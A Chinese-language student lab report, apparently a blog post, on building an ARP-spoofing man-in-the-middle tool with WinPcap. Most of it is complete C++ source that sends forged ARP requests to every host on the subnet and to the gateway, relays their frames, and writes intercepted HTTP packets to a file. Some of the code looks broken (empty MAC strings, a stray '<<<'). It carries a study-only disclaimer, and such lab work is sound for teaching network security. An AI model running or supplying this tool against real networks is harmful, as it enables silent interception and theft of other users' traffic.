利用WinPcap編程,實現基於ARP欺騙的中間人攻擊

*******此實驗旨在交流學習,請勿用在非正常合法途徑*******

利用WinPcap編程,實現基於ARP欺騙的中間人攻擊

一、實驗內容

  • 利用WinPcap,分別向被欺騙主機和網關發送APR請求包, 達到同時欺騙目標主機和網關的目的;
  • 所有目標主機和網關之間的數據都會被我們劫持,過濾 兩者之間的所有http交互數據包,並保存爲文件。 (http包的過濾可用80端口來標識)

二、設計思想

  • 理解ARP欺騙原理,將本機作爲ARP欺騙的發起主機,即發起“中間人攻擊”
  • 本機欺騙網關,網關向本局域網內其他主機發送的所有數據包時,本機將數據包的發送方MAC地址均改爲本機的MAC地址。
  • 本機欺騙網內所有主機,其他主機向局域網網關發送的所有數據包時,本機將數據包的發送方MAC地址均改爲本機的MAC地址。
  • 欺騙主機作爲“中間人”,被欺騙主機的數據都經過它中轉一次,這樣欺騙主機可以竊取到被它欺騙的主機之間的通訊數據,並將其存儲到相應文件之中,以便之後的詳細分析。

三、實驗要求

  提交源碼(源碼編寫要規範)、可執行程序、實驗報告(要有程序運行截圖)。

四、實驗分析

  1. 獲取與網卡綁定的設備列表
  2. 要求用戶選擇用於捕獲數據幀的設備
  3. 設置過濾規則
  4. 使用wpcap.dll實現ARP報文的發送功能
  5. 藉助網絡分析工具對ARP欺騙過程進行驗證和分析
  6. 利用IP地址和IPV4的首部修改IP頭,進行ARP欺騙

五、實驗代碼

  1. 一開始發現欺騙成功,但怎麼寫都沒辦法實現轉發成功
    後來修改這相應參數值
if ((adhandle = pcap_open_live(d->name, // name of the device
        65536,         // portion of the packet to capture
        0,             // open flag
        1,          // read timeout
        errbuf         // error buffer
        )) == NULL)
    {
        fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
        pcap_freealldevs(alldevs);
        return -1;
    }

使得相應的能夠轉發成功
1. 又遇見新的問題,MAC值傳遞有問題

void transMac(char source[], u_char *dest)
{
    short i;
    int sourceLen = strlen(source);
    unsigned char highByte, lowByte;
    for (i = 0; i < sourceLen; i += 3)
    {
        highByte = toupper(source[i]);
        lowByte  = toupper(source[i + 1]);
        if(highByte > 0x39)
            highByte -= 0x37;
        else
            highByte -= 0x30;
        if(lowByte > 0x39)
            lowByte -= 0x37;
        else
            lowByte -= 0x30;
        dest[i/3] = (highByte << 4) | lowByte;
    }
}

char GateMac[100]=”“,FackMac[100]=”“;

通過固定MAC然後進入函數中去轉化,用這個值傳輸,使得我最終能得到正確的MAC地址
1. 後來不知道爲什麼當我寫入文件的時候打開網頁彈窗直接崩掉,經查看分析,發現是由於我忘寫文件打開與關閉,導致正常的文件寫入出現問題

完整代碼

// ARPSpoofing.cpp : 定義控制檯應用程序的入口點。
//
#include <iostream>
#include <stdio.h>
#include <conio.h>
#include <pcap.h>
#include <packet32.h>
#include <WinSock2.h>
#include <ntddndis.h>
#include "ArpSpoofing.h"

using namespace std;

unsigned char *mac; //本機MAC地址
unsigned char *fakemac; //被欺騙主機MAC地址
unsigned char *gatewaymac ;//網關MAC地址
unsigned long FakeIp; //要僞裝成的IP地址
unsigned char *packet; //ARP包
unsigned long netsize;
unsigned long net;
pcap_t *adhandle; //一個pcap實例

struct EthernetHeader
{
    u_char DestMAC[6];    //目的MAC地址 6字節
    u_char SourMAC[6];   //源MAC地址 6字節
    u_short EthType;         //上一層協議類型,如0x0800代表上一層是IP協議,0x0806爲arp  2字節
};
struct TcpHeader
{
    u_char SrcPort[4];
    u_char DesPort[4];
};
void transMac(char source[], u_char *dest)
{
    short i;
    int sourceLen = strlen(source);
    unsigned char highByte, lowByte;
    for (i = 0; i < sourceLen; i += 3)
    {
        highByte = toupper(source[i]);
        lowByte  = toupper(source[i + 1]);
        if(highByte > 0x39)
            highByte -= 0x37;
        else
            highByte -= 0x30;
        if(lowByte > 0x39)
            lowByte -= 0x37;
        else
            lowByte -= 0x30;
        dest[i/3] = (highByte << 4) | lowByte;
    }
}
/**
* 獲得網卡的MAC地址
* pDevName 網卡的設備名稱
*/
unsigned char* GetSelfMac(char* pDevName)
{
    static u_char mac[6];
    memset(mac, 0, sizeof(mac));
    LPADAPTER lpAdapter = PacketOpenAdapter(pDevName);

    if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
    {
        return NULL;
    }

    PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA));
    if (OidData == NULL)
    {
        PacketCloseAdapter(lpAdapter);
        return NULL;
    }
    //
    // Retrieve the adapter MAC querying the NIC driver
    //
    OidData->Oid = OID_802_3_CURRENT_ADDRESS;
    OidData->Length = 6;
    memset(OidData->Data, 0, 6);
    BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData);

    if (Status)
    {
        memcpy(mac, (u_char*)(OidData->Data), 6);
    }
    free(OidData);
    PacketCloseAdapter(lpAdapter);

    return mac;
}

/*
* 封裝ARP請求包
* source_mac 源MAC地址
* srcIP 源IP
* destIP 目的IP
*/
unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long srcIP, unsigned long destIP)
{
    static struct arp_packet packet;

    //目的MAC地址爲廣播地址,FF-FF-FF-FF-FF-FF
    memset(packet.eth.dest_mac, 0xFF, 6);
    //源MAC地址
    memcpy(packet.eth.source_mac, source_mac, 6);
    //上層協議爲ARP協議,0x0806
    packet.eth.eh_type = htons(0x0806);
    //硬件類型,Ethernet是0x0001
    packet.arp.hardware_type = htons(0x0001);
    //上層協議類型,IP爲0x0800
    packet.arp.protocol_type = htons(0x0800);
    //硬件地址長度:MAC地址長度爲0x06
    packet.arp.add_len = 0x06;
    //協議地址長度:IP地址長度爲0x04
    packet.arp.pro_len = 0x04;
    //操作:ARP請求爲1
    packet.arp.option = htons(0x0001);
    //源MAC地址
    memcpy(packet.arp.sour_addr, source_mac, 6);
    //源IP地址
    packet.arp.sour_ip = srcIP;
    //目的MAC地址,填充0
    memset(packet.arp.dest_addr, 0, 6);
    //目的IP地址
    packet.arp.dest_ip = destIP;
    //填充數據,18個字節
    memset(packet.arp.padding, 0, 18);

    return (unsigned char*)&packet;
}


DWORD WINAPI arp_proof()
{
    while(1)
    {
        for(unsigned long n=1; n<netsize; n++){
            //第i臺主機的IP地址,網絡字節順序
            unsigned long destIp = net | htonl(n);
                //構建假的ARP請求包,達到本機僞裝成給定的IP地址的目的
            packet = BuildArpPacket(mac,FakeIp,destIp);
            if(pcap_sendpacket(adhandle, packet, 60)==-1)
            {
                fprintf(stderr,"pcap_sendpacket error.\n");
            }
            unsigned long destIp2 = net | htonl(1);
            packet = BuildArpPacket(mac,destIp2,FakeIp);
            if(pcap_sendpacket(adhandle, packet, 60)==-1)
            {
                fprintf(stderr,"pcap_sendpacket error.\n");
            }
        }
        Sleep(1000);
    }
        return 0;
}

int main(int argc, char* argv[])
{
    argc = 2;
    //argv[0] = "192.168.0.1";
    argv[1] = "172.20.10.2";
    pcap_if_t *alldevs;            //全部網卡列表
    pcap_if_t *d;                  //一個網卡
    int inum;                      //用戶選擇的網卡序號
    int i = 0;                       //循環變量
    char errbuf[PCAP_ERRBUF_SIZE]; //錯誤緩衝區
    //unsigned char *mac;            //本機MAC地址
    //unsigned char *packet;         //ARP包
    //unsigned long FakeIp;          //要僞裝成的IP地址
    pcap_addr_t *pAddr;            //網卡地址
    unsigned long ip;              //IP地址
    unsigned long netmask;         //子網掩碼
    struct pcap_pkthdr *header;    //接收到的數據包的頭部
    const u_char *pkt_data;           //接收到的數據包的內容
    int res;                                    //表示是否接收到了數據包
    char filters[100]="not arp";
    struct bpf_program fcode;
    /* 從參數列表中獲得要僞裝的IP地址 */
    if (argc != 2)
    {
        cout<<"Usage: "<<argv[0]<<" inet_addr"<<endl;
        return -1;
    }
    FakeIp = inet_addr(argv[1]);
    //cout<<"FakeIp: "<<argv[1]<<endl;
    if (INADDR_NONE == FakeIp)
    {
        fprintf(stderr, "Invalid IP: %s\n", argv[1]);
        return -1;
    }

     /*獲得本機網卡列表 */
    if (pcap_findalldevs(&alldevs, errbuf) == -1)
    {
        fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);
        return -1;
    }
    for (d = alldevs; d; d = d->next)
    {
        cout<<++i;
        if (d->description)
        {
            cout<<". "<<d->description<<endl;
        }
        else
        {
            cout<<". No description available"<<endl;
        }
    }
    //如果沒有發現網卡
    if (i == 0)
    {
        cout<<"\nNo interfaces found! Make sure WinPcap is installed."<<endl;
        return -1;
    }
    //用戶選擇一個網卡
    cout<<"Enter the interface number (1-"<<i<<"):"<<endl;
    cin>>inum;

    if (inum < 1 || inum > i)
    {
        cout<<"Interface number out of range."<<endl;
        pcap_freealldevs(alldevs);
        return -1;
    }

    /* 移動指針到用戶選擇的網卡 */
    for (d = alldevs, i = 0; i< inum - 1; d = d->next, i++);

    mac = GetSelfMac(d->name); //+8以去掉"rpcap://"
    if (mac == NULL)
    {
        printf("\n本地MAC地址獲取失敗.\n");
        return -1;
    }

    printf("發送ARP欺騙包,本機(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 試圖僞裝成%s\n",
        mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], argv[1]);
    //printf("發送ARP欺騙包,本機(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 試圖僞裝成%s\n",
    //    mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], argv[0]);
    /* 打開網卡 */
    if ((adhandle = pcap_open_live(d->name, // name of the device
        65536,         // portion of the packet to capture
        0,             // open flag
        1,          // read timeout
        errbuf         // error buffer
        )) == NULL)
    {
        fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
        pcap_freealldevs(alldevs);
        return -1;
    }
    FILE *fp;
    //cout<<"1"<<endl;
    for (pAddr = d->addresses; pAddr; pAddr = pAddr->next)
    {
        //得到用戶選擇的網卡的一個IP地址
        ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr;
        //得到該IP地址對應的子網掩碼
        netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr;
        //cout<<"2"<<endl;
        if (!ip || !netmask)
        {
           // cout<<"6"<<endl;
            continue;
        }

        //看這個IP和要僞裝的IP是否在同一個子網
        if ((ip&netmask) != (FakeIp&netmask))
        {
            //cout<<"5"<<endl;
            continue;       //如果不在一個子網,繼續遍歷地址列表
        }

        netsize = ntohl(~netmask); //網絡中主機數
        net = ip & netmask;        //子網地址
        HANDLE temp= CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) arp_proof, 0, 0, NULL);
        //in_addr subnetIp;
        char GateMac[100]=" ",FackMac[100]=" ";
        cout<<"FakeMac: "<<FackMac<<endl;
        fakemac=(unsigned char *)malloc(sizeof(unsigned char)*6);
        transMac(FackMac,fakemac);
        cout<<"GateMac: "<<GateMac<<endl;
        gatewaymac=(unsigned char *)malloc(sizeof(unsigned char)*6);
        transMac(GateMac,gatewaymac);

        cout<<"**************************"<<endl;
        if (pcap_compile(adhandle, &fcode, filters, 1, netmask) < 0)
        {
            cout<<"Error"<<endl;
            pcap_freealldevs(alldevs);
        }
        // set the filter
        if (pcap_setfilter(adhandle, &fcode) < 0)
        {
            cout<<"Error"<<endl;
            pcap_freealldevs(alldevs);
        }

        //for (unsigned long n = 1; n<netsize; n++)
        //{
        //cout<<"4"<<endl;
        while ((res = pcap_next_ex(adhandle,&header, &pkt_data))>=0){
            if(res == 0)
                continue;//read time out
            unsigned char *mac1=(unsigned char *)malloc(sizeof(unsigned char)*6); //本機MAC地址
            EthernetHeader * eheader = (EthernetHeader*)pkt_data;

            http_head * httpheader = (http_head*) pkt_data+34;
            if(memcmp(eheader->SourMAC,fakemac,6)==0)
            {
                memcpy(mac1,gatewaymac,6);
                cout<<"des  YES!"<<endl;
            }
            else if(memcmp(eheader->SourMAC,gatewaymac,6)==0)
            {
                memcpy(mac1,fakemac,6);
                cout<<"gate   YES!"<<endl;
            }
            else continue;
            if(fp = fopen("1.txt","wb"));
            else
            {
                cout<<"Fail to open the file!"<<endl;
            }
            if (httpheader->source_port == htons(80) || httpheader->dest_port == htons(80))
            {
                //保存此包
                int Ret = fwrite(pkt_data, header->caplen, 1, fp);//寫入文件
                if (Ret<1 && ferror(fp) != 0)
                {
                    cout<<"fail!"<<<endl;
                    break;
                }
            }
            memcpy((void *)pkt_data,mac1,6);
            memcpy((void *)(pkt_data+6),mac,6);
            pcap_sendpacket(adhandle,(const unsigned char *)pkt_data,header->caplen);
        }
    }
    fclose(fp);
    pcap_freealldevs(alldevs);//釋放網絡設備
    return 0;
}

截圖
這裏寫圖片描述
這裏寫圖片描述
下列是抓包得到的數據
這裏寫圖片描述
這裏寫圖片描述
這裏寫圖片描述
這裏寫圖片描述
從這4副圖很好的說明了受害者與網關的通信都經過了本主機

六、總結

1.基本實現了作業的內容,一個是發送ARP請求包,達到同時欺騙目標主機和網關的目的,另一個是劫持主機和網關的數據,過濾兩個之間的哦有http交互數據包
2.主要代碼通過教材和WinPcap官方文檔學習,並且不斷交流學習,修改錯誤,最終完成
4.學到了項目調試的很多知識,完成作業的時間較慢,需要繼續努力學習
5.在完成過程中出現了很多問題,也在他人的幫助下學習到很多,無論是參數問題,還是代碼書寫問題,都注意很多

注:此次編程還存在很多不足,代碼很簡陋,以後完善

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章